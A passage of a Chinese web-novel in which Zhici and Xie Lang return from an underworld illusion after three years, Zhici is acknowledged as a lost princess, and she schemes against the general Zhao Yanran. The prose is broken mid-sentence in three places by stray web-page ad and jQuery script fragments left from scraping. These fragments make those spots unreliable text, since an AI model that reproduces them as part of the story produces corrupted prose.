知慈连忙把埋住他的经文杂物都清理到了一旁。随即轻拍他的脸想将他唤醒。 “喂,醒醒。” 谢琅长睫无意识颤了一下,半晌之后,他缓缓睁开了眼,清俊的脸上还带着一丝迷茫。 知慈望着他的神色渐渐恢复清明,有些忐忑。 他会记得幻境中的事情吗?还是大梦一场后忘掉幻境中的一切? 见谢琅坐起身,知慈试探着问道,“你还好吗?” “……不太好。” 知慈愣住,又见谢琅神色似笑非笑,“方才被你捅了一刀,那滋味我这辈子都忘不掉。” 知慈心里一跳,确定了谢琅记得幻境之中发生的一切。 她轻咳一声,转移了话题道,“唉,也不知道你我大梦一场,外面的世界时间过去了多久。” 谢琅道,“过去三年了。” 闻言,知慈诧异道,“你怎么会知道?” 谢琅只是笑了笑,却没再说话。 知慈见他不说,便道,“罢了,先出去看看吧。” 随即她率先起身,向外走去。 谢琅随之站起,视线捕捉着知慈离开的背影,眸中感情汹涌。 方才谢琅从回忆中脱出后,并未直接回到现实世界,而是来到了一叶小舟中。 他看到一个兜帽覆盖的无形虚体,开口对他道,“你回来了。” 谢琅道,“这是哪?” “这里是往生黄泉。” 谢琅恍然,方才在回忆中的经历如此清晰,知慈果然没有骗他,一切都是假的。 神明道,“你本该死去,是你的朋友执意让我将她送入你的回忆,将你救出。” 谢琅知道祂口中的朋友就是知慈,他心头又暖又涩,却又不知足地追问道,“那……如果她没能救出我会怎样?” 神明道,“她会困在你的回忆中,与你一同死亡。” 听到这个回答,谢琅心头升起一种难以言喻的情感,他说不出话来。 神明道,“地府一日,人间十年。如今人间已经过去了三年,我现在就将你送回。” 神明话音落下,谢琅意识渐渐模糊。 当他再睁开眼时,自己已经回到了人间。 - 知慈爬上窖井,发现自己身处孙芳姑的书房之中。 相比三年前,此处已变得破烂不堪,四处都是蛛网灰尘,且能看出不少烧焦过的痕迹。 看来神明将自己送回了当初发生意外的地方。 她走到书房门口,想推开屋门。但靠近门边,她听见门外传来两个人的对话声音。 “施主,这间屋里有不干净的邪崇闹鬼,是寺中的禁地,住持严禁任何人进入。” “小师父,我只进去看一眼,不会有事。” 门外响起一个清冽而淡漠的声音。知慈听着觉得无比耳熟。 为印证自己的猜想,她推开了房门。 下一刻,她与一双熟悉的眼睛四目相对。 竟是赵晏然。 三年过去,赵晏然容貌长开不少,身材也发育得肩宽腰窄、充满力量。相比三年前,他褪去了少年的稚气,多了几分青年的俊逸,气质也变得冰冷肃杀。 而另一边,赵晏然方才正在门外与一位小沙弥说话,突然间沙弥背后的屋门被人推开。 小沙弥回头,见平日被封锁的屋子突然门被推开,大叫一声‘闹鬼了’,便吓得跌跌撞撞跑掉了。 赵晏然向来人瞥了一眼,彻底愣住。 他震惊望着对方,眼睛一眨不眨。 渐渐的,他的眼圈微微泛红。他嘴唇轻启,宛如梦呓。 “知慈,是你吗?” 他轻声呢喃,“我在做梦吗?” 赵晏然痴痴凝视着知慈,颤抖伸出手想触碰她,验证眼前人究竟是否为幻觉。 然而下一刻,他的手被知慈一把打掉。 “回来就碰见你,晦气。” 知慈没想到重返阳间,第一个看见的人竟然是赵晏然。 在往生黄泉,她同神明达成交易,要取赵晏然的‘肝肠寸断之血’以换回自己的性命。 知慈心里清楚,这意味着自己还会同赵晏然有交集。但,这并不代表她现在就得同赵晏然虚与委蛇。 此刻的她还未熟悉眼下环境,半点也不想给他好脸色。 赵晏然还想再同知慈说话时,却被一人拦住。 “赵公子,自重。” 赵晏然认出了谢琅。 重遇知慈的震惊感褪去,赵晏然心里开始冒出疑惑。 为什么知慈会和谢琅一起出现在这个闹鬼的小屋里?这三年来,知慈又去了哪里?她……一直和谢琅在一起吗? 赵晏然见谢琅挡在知慈身前,容貌清俊,芝兰玉树,模样与自己旗鼓相当,心中危机感顿生。 而更让他不喜的,是除自己之外,知慈被别的男人护在身后。 “没你的事,闪开。”赵晏然看向谢琅,语气变得有如寒霜。 “是‘没你的事’,赵晏然。你给我闪开,别挡了我们的道。” 谢琅还没说话,知慈便抢先呛声。 赵晏然心如刀割。知慈的冷淡其实在赵晏然预想之中,可听到知慈将她和谢琅称为‘我们’,却 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 让他难受极了。他无法忍受知慈同另一个男人走得这样近。 “你去哪?”赵晏然问。 去哪呢? 其实知慈心中已经有了大致的想法。 自己重回阳间,却寿命有限。当务之急自然是尽快熟悉眼下环境,然后开始筹谋办法对付赵晏然,取回寿命。 但此事自然不能同赵晏然透露,知慈道,“去办正事。” 她顿了顿,又道,“对了,你现在住哪?给我个住址。” 知慈心想,既然接下来要设计毒杀赵晏然,那么先问来他的行踪有利无害。 见知慈问自己的住处,赵晏然眉眼舒展了几分。他就知道,知慈不会真得要与他断干净。 赵晏然道,“我如今住西城槐花胡同将军府,回去我便同家丁打个招呼,你来了便可进出畅通无阻。” 听见‘将军府’三个字,知慈十分诧异。 “你现在在将军府当护院?” 不应该吧,凭赵晏然的能力和傲气,三年过去,他怎么可能还在当护院? 赵晏然道,“将军府是我的府邸。” 知慈愣住,忍不住看向谢琅,想同他交换一个眼神。但谢琅只是皱着眉看着赵晏然,似乎在沉思。 见知慈望向他,谢琅对知慈温柔地笑了笑。 知慈心中疑窦丛生。赵晏然竟然成了将军?这比他还在当护院更令知慈意外。 她明明记得当年的赵晏然视权势如粪土、一心想回上清派。那时沈纤纤想让他去从军,两人还曾为此吵了一架。 这样眼高于顶的人,怎么会放下身段选择参军呢? 知慈发现赵晏然变得让她有些看不懂了。 恰好此时,方才被吓跑的小沙弥领着方丈折返回来。方丈向知慈和谢琅问道,“请问两位施主从哪里进来的?” 知慈低声嘟囔道,“进来随便看看。”随即示意谢琅快步离去。 刚出侧院,谢琅便状似无意问道,"他……同你什么关系?" 谢琅初识知慈时,知慈正在为重伤昏迷的赵晏然忙前忙后。那时他有想过知慈大概同赵晏然关系暧昧,但彼时知慈于他只是陌路人,他也并未上心。 可是方才,看到赵晏然同知慈交谈的情境,谢琅心中升起了一股微妙的酸涩感。 他们曾经很亲密吗? 赵晏然很明显十分在意知慈,那知慈呢?她对赵晏然又是什么感情? 他们只是普通的朋友么,还是说……知慈曾经喜欢过赵晏然? 一想到会有这种可能,谢琅便感到难以描述的酸意弥漫心头。 他不想她喜欢别人。 谢琅听见知慈平淡道,“曾经是普通朋友,但现在,陌路人罢了。” 知慈冷淡的态度让谢琅情绪好了一点。但他一想到自己还不如旁人了解知慈过去的喜怒哀乐,谢琅便又开始觉得胸口发闷。 另一边,侧院中目送知慈离去的赵晏然,听见知慈把自己称呼为‘普通朋友’,心中控制不住痛楚。 方才知慈离去时,赵晏然没有追。 他心想,死缠烂打只会惹她不喜。 赵晏然凝视着知慈和谢琅一边对话一边走远,内心既痛楚又欣喜: 知慈疏离的态度令他感到失落;但无论如何,她还活着这件事本身便让他无比狂喜。 赵晏然觉得自己幸福得有些不真实,他凝视着知慈逐渐远去的背影,刻意忽略知慈身边有人相伴这件糟心事。 38. 公主 谢琅和知慈行至前殿,发现三年过去,这里变化极大。 三年前青牛观还是一座道观,观内接引之人皆作道士打扮。而如今此地虽然布局未变,但接待、洒扫的均变成了身披袈裟的僧侣;正殿中供奉的三清道祖,也变成了金身佛祖。 世事变迁,青牛观竟从一座道观变成了寺庙。 此刻青牛寺内香火鼎盛,前来礼拜的香客极多,比从前的青牛观还要热闹。 二人跟随人流准备离开寺庙。经过前殿时,知慈注意到大殿墙壁上绘制着巨幅的宗教彩绘。 这幅彩绘大致是在描绘人死后轮回转世的六种去处。 只见前几种轮回道的彩绘并无什么特别,但最后一幅‘地狱道’的壁绘周围,却聚集了不少香客。 二人走进,才发现那‘地狱道’的壁画,绘制的是数名形如焦炭神色痛苦的人,在火海之中被恶鬼虐待的情状。 但人群讨论的并非壁画本身,而是一桩关于壁画的恶作剧。 原来,不知是谁昨晚趁着月黑风高,偷偷在壁画上面乱涂乱画,用墨笔给几个受刑的鬼魂起了名。 知慈朝壁画望去,只见前三个鬼魂的名字都是祸国殃民的大奸臣,分别是‘赵高’‘石敬瑭’‘秦桧’。 但看到最后一个受刑鬼魂身上的名字时,知慈愣住了。 因为那鬼魂身上赫然写得‘徐钰’二字。 徐钰? 是她和谢琅认识的那个徐钰吗? 知慈下意识地转头去看谢琅,却见谢琅盯着墙壁上的墨迹,脸色难看极了。 下一刻,人群中有人冲墙上的‘徐钰’二字吐了一口唾沫,愤愤道,“卖国求荣的奸贼,死不足惜。”引来一堆人附和叫好。 “你们为何这样说他?”谢琅压抑着情绪问道。 那吐唾沫的人回头,见谢琅模样生得清贵好看,心中便多了几分好感,耐心解释道,“公子你竟不知卖国贼徐钰?他害我们谢国打了大败仗,害死了几十万将士百姓的性命,说他是谢国的千古罪人都不为过。” 那人还没说完,旁边又一人插嘴,“何止!早年兴佑帝被鞑靼人俘虏时,徐钰便已经被策反当了奸细。” “不可能,你们说的是徐钰吗?”谢琅温润的语声罕见带了几分冰冷。 他看着墙壁徐钰名字上的秽物,对老师被人如此侮辱感到不解而愤怒。 知慈拉了拉他,“谢琅,你我先回京城。徐钰究竟是怎么回事,回京之后自会清楚。” 知慈说的谢琅也认同。他点了点头,同她一道离开青牛寺,沿城郊官道一路回京。 - 二人回到京城城门口,一队出任务的锦衣卫从二人身边路过。 锦衣卫们神情严肃,目不斜视,就在队伍同二人擦肩而过时,队伍中一人瞥见知慈,停了下来。 “咦?” 只见那锦衣卫看到知慈后,便立刻快步行至他的队长身边,附耳说了几句话。 队长闻言,看向知慈,面露讶色,随即向知慈走来。 “姑娘,还请您留步。” 知慈莫名奇妙,她根本不认识这名锦衣卫。 队长说着便跑远了,方才的锦衣卫道,“稍等片刻,我们队长去找头儿了,马上过来。” 知慈和谢琅依言等了一会,没过片刻,一道熟悉的身影大步走来。 那人在二人面前站住,震惊道,“殿下?您怎么也在?!” 来者竟是二人的旧识,池无暇。 只见池无暇高兴道,“你还活着。”说着,他忍不住一拳锤在谢琅肩头,“我还以为你死了。” 故人重逢,谢琅也欣喜而意外,“无暇?你怎会在这里?” 池无暇示意了下不远处的锦衣卫队伍,“执行任务。” 随即他转头冲知慈招呼道,“知慈姑娘,好久不见。” 知慈笑了笑,“好久不见。” 知慈与池无暇寒暄了一句,本以为他会继续同谢琅叙旧,却没想到池无暇依旧望着自己。 池无暇道,“知慈姑娘,方才下属通报我还不相信,三年了,你可终于出现了。” 知慈很意外,“你在找我?” “对。”池无暇点头,“此事说来话长,正好我也好奇三年来你们去了哪。我先让人遣辆车过来,车上咱们再慢慢聊。” - 马车内。 “世间竟真的存在无生老母,地府一刻人间三年?不可能吧。” 颠簸的马车内,三人相对而坐,池无暇抱着臂,皱眉开口。 片刻前,知慈同池无暇讲述了她和谢琅这段时日的离奇经历。但池无暇听到一半,便摇头直呼荒诞离奇。 谢琅安静坐在一旁听着二人对话,看起来兴致缺缺。 “我知道匪夷所思,但这的确是真的。”知慈说着,转头去看谢琅,“是吧。” 谢琅眉头轻蹙,闻言心不在焉点了点头。 池无暇道,“我不大相信鬼神之说,可你们两人容貌也同三年前没有变化,又像是真的……” 池无暇百思不得其解,“……算了,不谈这个话题了,还是来谈谈你吧。知慈姑娘,其实这三年来陛下一直给我们施压,要不惜一切代价把你——兴佑帝的独生女给找到。” 知慈这才恍然,怪不得方才的锦衣卫看见自己反应那么大。 但知慈立刻又感到疑惑:她明明记得三年前,沈纤纤拿着自己的金如意跑到宗人府冒认了公主身份。这期间究竟又发生了什么,让朝廷认定了自己才是真正的公主? 与此同时,池无暇道,“三年前,陛下便不断派人寻找兴佑帝遗失民间的独生女。期间有个名叫沈纤纤的女子带着先皇信物,找到宗人府,声称自己就是公主。宗人府查验后发现她身份吻合,于是送她进宫,准备让她面圣。” “然而,就在即将面见陛下的前夕,事情却出现了变化。沈纤纤突然主动向宗人府坦白,真正的公主其实是她的妹妹沈知慈——也就是你,而她不过是鸩占鹊巢。” “沈纤纤的坦白让宗人府直接炸了锅:这骗子差点害他们犯下大错,若她已经面了圣,那便是欺君之罪,他们也要跟着受牵连。不过万幸,沈纤纤提前坦白让事情有了回旋余地。” 池无暇继续道,“宗人府为了息事宁人,没追究沈纤纤的责任。只让她配合提供有关你的线索,便放了她出宫。而宗人府则依据线索深入北风城,极慎重仔细地调查了你的身份背景,最终彻底确认,你就是兴佑帝的独女。” “宗人府回禀陛下后,陛下立刻派出大量人力寻找你的踪迹。同时在宫中为你修筑了专门的宫殿,并赐予了你大量财产。陛下说,他要尽力补偿兴佑帝唯一的女儿。” “但是三年过去,没有人找到过你,偶有线索也都指向你已死亡。所以那些宫殿和财产依然由宫人代为打理,寂寞地等待着它们的主人。” 听他说到这里,知慈忍不出笑了起来,“被你说的,好像有千万家产等着我继承一样。” 池无暇也笑道,“正是如此,现在金山银山都在宫里冲你招手。” 知慈正色道,“不过,你方才说,是沈纤纤主动坦白的真相?” 知慈有些怀疑。 沈纤纤在知慈心中是自私自利的代名词,无缘无故,她怎么会主动放弃到手的权势呢? 闻言,池无暇欲言又止。 知慈察觉了,“怎么回事?” 池无暇犹豫半晌,道,“其实,你姐姐进宫后,我曾误打误撞见过她一面,那时我便觉得她……不太正常。” 池无暇道,“她被赶出宫之后,接她进宫的太监与我聊起过她。他说他当时告诉沈纤纤,欺君会被砍头,然后她便明显被吓到了。” 池无暇道,“所以,我猜你姐姐是承受不住说谎的压力,才坦白的真相。” 听到这里,知慈觉得池无暇说的基本便是沈纤纤招供的理由了。 二人交谈期间,谢琅坐在旁边,一言不发。 实际上,知慈与池无暇在此之前并不算熟悉。相比之下,谢琅作为池无暇真正的好朋友,难得重逢理应有很多话说,但此刻他一直在出神。 池无暇看着谢琅,“殿下,你怎么了,从见面开始你就心不在焉。” 谢琅沉默片刻,终于道出了从方才就一直在困扰他的问题。 “方才青牛寺中,我见许多路人在辱骂徐钰,这是怎么回事?” 池无暇闻言,叹了口气,“难怪你情绪低落。原来是因为这件事。” 得知了谢琅忧虑的原因,池无暇同二人简单讲述了三年来谢国发生的事情。 - 三年前,鞑靼人暗中扶持白巾教,将谢国搅得内乱不断。那之后鞑靼人挥师南下,军队一路势如破竹,直逼谢国京城。 谢琅和知慈在青牛观出事那天,遇到的鞑靼士兵就是鞑靼大军派出的先锋队。那天之后,两国间便爆发了全面战争。 这场战争持续了近三年。在这期间,谢国兵分数路,从三个方向抵御鞑靼进攻。 而眼下被百姓们谩骂的徐钰,在当年战争爆发后,先是回到供职的西北军抵御外敌;后来主帅阵亡,徐钰就成为了新一任西北军主帅。 徐钰统率西北军期间,屡获奇功,将西北方的鞑靼军队一路驱逐到了边境线。西北军最强盛的时候,只要再打一场胜仗,就能将西北方向的敌人彻底驱逐出境。 然而,就在谢国上下对徐钰寄予厚望时,徐钰却打了一场轰动全国的大败仗。 那时的西北军兵力充足,养精蓄锐。可就在这样的大优势下,徐钰却发出了一道荒唐指令:他令半数士兵原地待命,自己则率领另一半军队同鞑靼军队作战。 两军交战不久,徐钰就下令让军队后撤溃逃。西北军奔逃至一处三面环山的山谷,前方无路可走,于是士兵们被后面穷追不舍的鞑靼军队杀得丢盔弃甲,死伤大半,而 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 徐钰则就此下落不明。 那之后,鞑靼乘胜追击,占领了数座谢国刚收复的城池,且每破一城必要屠杀城内平民。 徐钰战败的消息传回内地,举国震惊。所有人都认为,徐钰在西北军大优势的情况下能指挥得如此荒唐,只有一种理由能解释得通——他通敌了。 讲到这里,池无暇叹了口气,“这场溃败严重挫伤了谢国的士气,不过万幸,国内其他战线的军队抗下了陡增的压力。” 池无暇道,“殿下,你还记得当年同你我合力抓捕白巾教的年轻剑客,赵晏然吗?他也参军了。赵晏然武力悍勇,用兵诡谲,在燕州军中晋升极快。徐钰出事后,赵晏然率燕州军撑起战局,与鞑靼拉锯了一年,终于将敌人彻底驱逐。” 池无暇继续道,“如今战争胜利,赵晏然成了国内的最大功臣。你们是没赶上前段时间他班师回京,那场面,百姓夹道相迎,风光得很啊。” 池无暇话锋一转,“相比之下,徐钰如今可以说人人喊打。民间传言,徐钰早年被鞑靼俘虏时,便已被策反成了鞑靼人的卧底。” 池无暇讲完了,马车内安静下来。 知慈总算弄明白了赵晏然怎么当上的将军。 但她依然心存疑惑:在她的印象里,赵晏然一向以自己利益为先,没有半点家国情怀。这么一个利己的人,当初究竟为什么会突然选择参军呢? 而另一边,谢琅听完徐钰的经历,久久说不出话来。 他沉默良久,道,“我还是不相信老师会做出这种事来。” 池无暇叹了口气,道,“一开始我也不愿意相信,但后来前线送回了徐钰与鞑靼通敌的亲笔手书,铁证如山,我不得不信。” 池无暇继续道,“那封手书如今在都察院保存,殿下,等你们回宫面见陛下之后,我便带你去看。” 谢琅点头,恰好这时,马车外传来锦衣卫的声音,“头儿,到了。” 池无暇闻言,对二人道,“到皇宫了。走吧,我已遣人通报了陛下,别让他久等。” - 几人刚下马车,便有数位宫人接引,一路引着一行人来到御书房。 御书房前,池无暇止住脚步,对二人道,“你们进去吧。” 随即他又对谢琅道,“殿下,出来了我在皇宫门口等你。” 谢琅点点头,和知慈在太监的接引下,进入了御书房。 御书房内,嘉平帝正在几案后批阅奏折,一个太监站在他身边待命。 知慈环顾四周,发现这里的布置和谢琅回忆中的场景分毫不差: 嘉平帝九五至尊,御书房内布置却简洁得近乎朴素。书桌上的奏折罗列得极其整齐,能看出书房主人是个严格自律、杜绝享乐的人。 见到知慈和谢琅进来,嘉平帝放下手中的笔,目光落在了知慈身上。 与谢琅回忆中的严厉模样大相径庭,嘉平帝目光和蔼,“你便是知慈?” “回陛下,是。” 嘉平帝便笑了,“好,真是个好姑娘。” 嘉平帝又道,“三年来朕遍寻你而不得,又逢两国战乱,这三年,你是怎么过的?” 知慈没作隐瞒,如实将二人来到阴阳交界的经历向嘉平帝叙述了一遍。 她本以为嘉平帝听完后,会同池无暇一样表示匪夷所思,但嘉平帝只是认真地倾听,又用关切的语气道,“这三年苦了你了。”便接受了知慈讲述的经历。 嘉平帝道,“知慈,这些年来,兴佑帝被鞑靼人当做谈条件的筹码,朕出于对朝廷百姓负责的角度考虑,只能放弃接他回国。可朕一直心中愧疚,所以希望能寻到他的孩子弥补一二。” 知慈乖顺听着,这才明白为什么已经过了三年,皇帝依然锲而不舍地寻找自己。 “不管怎样,回来就好,从今日起,你就是谢国最尊贵的公主。” 嘉平帝扭头唤道,“陈福。” 一旁服侍的太监立刻恭敬弯腰道,“奴才在。” 嘉平帝道,“你领着公主先去休息。” 随即,他又对知慈道,“三年前朕便专门为你在宫中建起了宫殿。这些年宫殿一直空置。如今你既然回来了,便先去熟悉下环境吧。待过些日子,朕会正式为你举行册封仪式。” 知慈领命,跟着太监的指引离开了御书房。走前她看了谢琅一眼,谢琅安抚地对她道,“稍后我去看你。” 知慈离开后,室内安静下来。 谢琅道,“父皇。” 嘉平帝看着他,面对自己的亲生儿子,嘉平帝的脸色却完全不像方才面对知慈那般耐心和温和。 谢琅忽略皇帝的不耐烦,单刀直入道,“儿臣今日听闻徐钰之事——” 见谢琅提起徐钰,嘉平帝的耐心消失殆尽,他打断道,“徐钰的事,让池无暇带你去都察院看卷宗,是非证据一目了然,没必要浪费朕的精力。” 谢琅抿紧唇,最终冲嘉平帝行了一礼告退。 39. 涂药 另一边,知慈被太监接到了专门为她准备的宫殿。 宫殿之中,数十位宫女和侍卫恭敬地站在廊下。 太监陈福对知慈道,“殿下,这些人是陛下为你临时安排的宫人,供您随意差遣。待您熟悉了环境之后,可以自己再重新招募下人。” 知慈点头,向宫人们望去。 只见每个宫人都腰板挺直,努力展现着最好的精神风貌,显然能够为知慈办事是极好的差事。 知慈问陈福,“这些人里武功最好的是谁?” 陈福点了两人,随即一男一女依言出列,二人皆着暗卫服饰。 陈福道,“轻柏和轻鸿,是他们之中功夫最好的。” 知慈未再权衡,直接点了名叫轻鸿的女暗卫道,“我要她。” 那之后,知慈又随意点了十余个宫人负责殿内洒扫。 其他宫人未被选中,神色失望,在陈福施令后依次安静离去。 殿内很快空了下来。 陈福又给知慈呈上了一本名录。 “殿下,还有件事。陛下赐予了您不少财产,之前一直由宫人代为打理。具体明细都记录在这本册中,您若有时间,还请一一清点。” 知慈接过,低头翻看了一遍,随即忍不住‘哇’了一声。 原来,这份明细上不仅有巨额的金银珠宝,还有众多位于京城的商铺、地皮、产业,数目之巨可抵一方首富,可见皇帝对她的重视。 知慈一目十行浏览着。随即,她的目光在一处住宅地址上停顿下来。 只见那地址赫然写着‘枣花街地字院’。 知慈愣住。 枣花街?那不是三年前自己同赵晏然住过的那条街道么? 这个地址唤起了知慈久远的回忆。在她印象中,枣花街的宅邸属于典型地价高、品质差。 那时她的厢房隔音很差,隔壁虽然没人住,但隔三差五会有太监宫女半夜过去洒扫卫生,扰得她不胜其烦。 知慈不禁感慨,这也太巧合了——原来当初自己隔壁那间无人入住的宅子,竟然是公主名下的众多房产之一? 知慈收回思绪,继续向下捋明细。 正当她全神贯注时,殿门口传来声音,“知慈,适应得如何?” 知慈抬头,见谢琅站在门口微微笑着凝视着她,才发觉不知不觉时间已近黄昏。 陈福见谢琅来了,便对知慈道,“奴才已经全部交代完,殿下好好休息。” 随即他对二人行过了礼,便告退了。 陈福走后,知慈看向谢琅,“你回来的挺快。”她指的是他去都察院查看徐钰证据的事。 谢琅神色平淡‘嗯’了一声,明显不想再谈此事。 知慈见他不像下午时那样心神不宁,猜测他是看到了证据,不再对徐钰抱有幻想。 于是知慈识趣地换了话题,“方才陈福给我送来不少宫人。” 谢琅顺着她的话望去,见宫人们都十分有规矩地安静垂首,等待着知慈的指令。 谢琅扫了一眼,随口道,“那很好。对了,我有个东西要给你。” “什么?” 谢琅从袖中拿出一个小瓷瓶,“徐钰三年前拜托我找太医配的洗颜膏。方才回宫时,顺便去我那儿取了过来。” 知慈反应过来,这是当初徐钰答应给她的能消除她脸上遗传疤痕的药。 谢琅道,“洗颜膏的原料都是数十年不腐的珍贵药材,所以你不必担心,即使三年过去药性依旧。” 知慈有些惊喜地接过,拿在手中把玩,“也就是说,我可以恢复容貌了?” 见知慈欣喜的模样,谢琅眼角眉梢也变得温柔了起来。 “稍后你把洗颜膏在脸上抹匀,用纱布包住涂抹处;明日此时,洗颜膏会干裂,你将纱布解开,疤痕便会消失,露出完好的皮肤。” 知慈点头,又认真问,“那如何才算抹匀呢?要是涂少了会不会造成疤痕有遗留?涂多了又会不会对皮肤有损伤?” 知慈抬头,用求助的眼神看向谢琅,“……要不你帮我看看。” 谢琅听着,便误会成知慈想让他帮忙涂。 可是此刻,仅仅与知慈目光相触,谢琅便无法控制地脸颊发热。 他避开知慈的目光轻声道,“这药对光洁的皮肤不会有损伤,涂多涂少都没关系,不影响药效。” 随即,他便声称自己累了,与知慈告辞离去。 殿内只剩下待命的宫人们。 知慈心里惦记涂药,于是简单安排了宫人们各自的工作职责,便让他们去忙了。 最终,知慈面前只剩下武功最高的暗卫轻鸿,还没有被分配工作。 轻鸿面无表情站在原地,就像一个完全摒弃了自己意志的工具,任由主人差遣。 知慈道,“轻鸿,帮我做一件事。” 轻鸿道,“殿下请吩咐。” 知慈道,“我想你明日出去帮我打听一个人的下落,她名叫沈纤纤,是我的亲姐姐。你有门路吗。” 轻鸿道,“可以,我有办法。” 知慈点头,“好,你过来。” 随即,知慈朝内室梳妆台走去,准备按谢琅教她的方法涂抹驻颜膏。 轻鸿跟上,“殿下,您是要我帮您涂吗。” 知慈道,“不,我有另一件事需要你来做。” 知慈将陈福给她的财产清单折子递给轻鸿,“我名下资产太多太杂,实在没有精力一项项记。所以你需要替我把它们都背熟了,以后你就是我的账本,我要什么便会直接来问你。” 轻鸿捧着账本,脸上罕见露出意外的神情,“殿下,这么重要的财产明细,您就放心直接给我看?我以为……” 轻鸿闭上嘴,知慈道,“什么?” “我以为您只是临时挑选我来照顾您几天,等您熟悉了,就会重新再挑选信任的人。” 知慈摇头,道,“我相信你。” 她的财产和宫人皆为嘉平帝所赠,既然陛下重视她,那她就该大大方方接受圣恩,而不是防备猜忌陛下送她的人。 知慈的回答激励了轻鸿,她认真接下了知慈布置的任务,“诺。” - 第二日一早,轻鸿便出了门。 知慈的脸上抹了驻颜膏,缠上了一圈一圈的绷带,她觉得自己看着像重伤病人,于是打开衣柜想尝试寻找斗笠遮掩一下。 宫殿的更衣房内全是崭新华贵的衣裙首饰,知慈翻找片刻便找到了好几个款式的斗笠。 她选择了其中一件带在头上,斗笠自带的黑纱垂下,知慈对着镜子照了照,脸上的绷带被黑纱罩住,半点看不出端倪。 知慈起身,准备去御花园散散步。 刚出宫殿,知慈便遇见了一个意想不到的人。 只见赵晏然靠着宫墙站着,身形挺拔潇洒,不知在这等了多久。 见到知慈,他倚墙的身体直了起来。 “你怎么戴上了斗笠?” 知慈没回答他,皱眉道,“谁让你进宫的,你又怎会知道我住这里?” 赵晏然道,“我的职衔是将军,自然可以进出皇宫。” 知慈道,“所以你是向宫人问到的我的住处?” 赵晏然微微颔首。 知慈很不高兴,“你知不知道你这样很冒犯?” 赵晏然抬头,漂亮剔透的眼仁凝视着知慈,认真道,“我来找情投意合的女郎,哪里冒犯?” 理所当然的语气,让知慈听着只觉得恶心,“赵晏然,你搞清楚,你我早就已经闹掰了。” “我知道,可闹掰了就不能再和好吗?” 知慈转身就走。 “——对不起。” 赵晏然终于放低了姿态。 知慈停下,听见赵晏然道,“当年我不懂事,没认清自己的真心。知慈,你能再给我一个机会吗,我会好好待你。” 知慈觉得可笑,“我是你召之即来挥之即去的玩意儿?你想怎样就怎样?” 赵晏然沉默。 知慈见状,也不想再和他纠缠,道,“行了,以后别来烦我了。” 赵晏然突然抬起眼,“你不愿意再接受我,是不是因为喜欢上了别的人?” 知慈感到匪夷所思,“你认为我不接受你,是我的问题?” 赵晏然紧盯着她,“这三年来,你一直都和谢琅那个小白脸在一起吗?” “你是不是和他好上了?” 知慈瞠目结舌,被赵晏然的逻辑气得说不出话。 半晌,她冷笑道,“你和从前一样,总把责任归到别人身上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。这就是我为什么讨厌你。” 知慈不想再和赵晏然说一句话,也没有心情再散步了,转身便欲回宫殿。 她迈步又顿住,转头对赵晏然道,“不许跟进来,也不许再来找我。” 赵晏然看着知慈离去的背影,神色懊恼。 他的本意是想同知慈缓和关系,可自己却搞砸了。一想到知慈会和别人在一起,他就控制不住想去质问她。 赵晏然的确没有再跟进宫殿。 接下来一上午,知慈都觉得心中郁气难解。 她想起神明让她取赵晏然的心头血。但此刻她突然发自内心觉得,即使什么好处都没有,她也想照他心口捅上两刀。 - 临近中午时,轻鸿回来了,她一身黑衣短打,一边解开蒙面巾一边直入主题。 “殿下,您吩咐我查沈纤纤的下落,我已经查清楚了。” 知慈上午气得要命,此刻终于听到了好消息,不禁对轻鸿的办事效率感到很满意。 轻鸿道,“三年前,沈纤纤拿着信物想顶替您的身份,但很快又主动向宗人府坦白真相。因为当时此事还在准备阶段,并未正式呈报,所以陛下听闻后并未追究。” “那之后,沈纤纤出了宫,在西街市支了个摊位卖鱼,生活回归平凡。” ……咦? 知慈怀疑自己听错了。沈纤纤心高气傲,最瞧不上这类卑微辛苦的活计。这样的人,出宫之后怎么会主动选择当一个鱼贩子呢? 知慈问道,“她没回路府吗?” 轻鸿摇了摇头,“没有,她一直在西市卖鱼,卖了两年多。” 轻鸿话锋一转,“不过,因她长相貌美又孤身一人,所以时常会遭遇骚扰。她之前的夫君路茂枝,隔三差五就去她摊位砸场子。” 说到这里,轻鸿想起刚才西街市商家向她学的话—— 路茂枝每次找沈纤纤麻烦时,都会叫嚷‘你不说路府容不下你么,原来你的能耐就是出来摆摊卖鱼啊。’ 轻鸿收回了思绪,她继续向知慈叙述。 “一个月前,赵晏然军队班师回朝,京城万人空巷。之后没过几日,赵晏然携几个武将去西街市喝酒,恰好遇见路茂枝找沈纤纤麻烦。” 轻鸿继续道,“据说当时没人看清赵晏然怎么出手的,下一刻,路茂枝便已飞出好远,他爬起来见是赵晏然,话都不敢说便让小厮扶着去医馆了。” 轻鸿又道,“路茂枝走后,沈纤纤很激动,泪眼汪汪看着赵晏然,但赵晏然却头也不回与她擦肩而过,就像没看见她。” 知慈凝神听着,蹙起了眉。 轻鸿道,“但第二天,沈纤纤便不再卖鱼了,她被安排到了兵部武库司——赵晏然职衔下辖的一个基层衙门内,负责些简单的文职工作,工作清闲,再不会被地痞流氓骚扰。” 听到这里,知慈冷笑出了声。 三年过去,赵晏然还是这么照顾沈纤纤。 知慈道,“她和赵晏然在一起了?” 轻鸿摇了摇头,“据我打探到的消息所知,二人之间没有联系。” 知慈不解。赵晏然如今有权有势,沈纤纤想必喜欢他得紧。何况赵宴然英雄救美后又给她安排了好差事,按理来说二人便该水到渠成在一起,怎么反而没有联系了? 难不成……知慈忍不住猜想—— 难不成自己当初的失踪给赵晏然造成的刺激太大,让他没法心安理得和喜欢的人在一起,只能在别的方面‘情不自禁’照拂沈纤纤,玩起‘相爱却不能相守’的把戏? 想到赵晏然方才表现得对自己一往情深的模样,知慈心里更加厌恶。 恐怕赵晏然自己都没意识到,他对自己的‘喜欢’‘执念’,不过是出于间接害死她、辜负了她心意的愧疚。 假如自己真得原谅他、同他复合,那么等到日久天长愧疚消磨殆尽后,赵晏然便会忠于本心,再次偏向他真正喜欢的沈纤纤。 有前车之鉴,知慈闭眼也能想象出来那时的情景。 知慈再次想起神明让自己取赵晏然‘肝肠寸断的心头血’一事。 她突然想到了一个绝妙的方法完成这个任务。 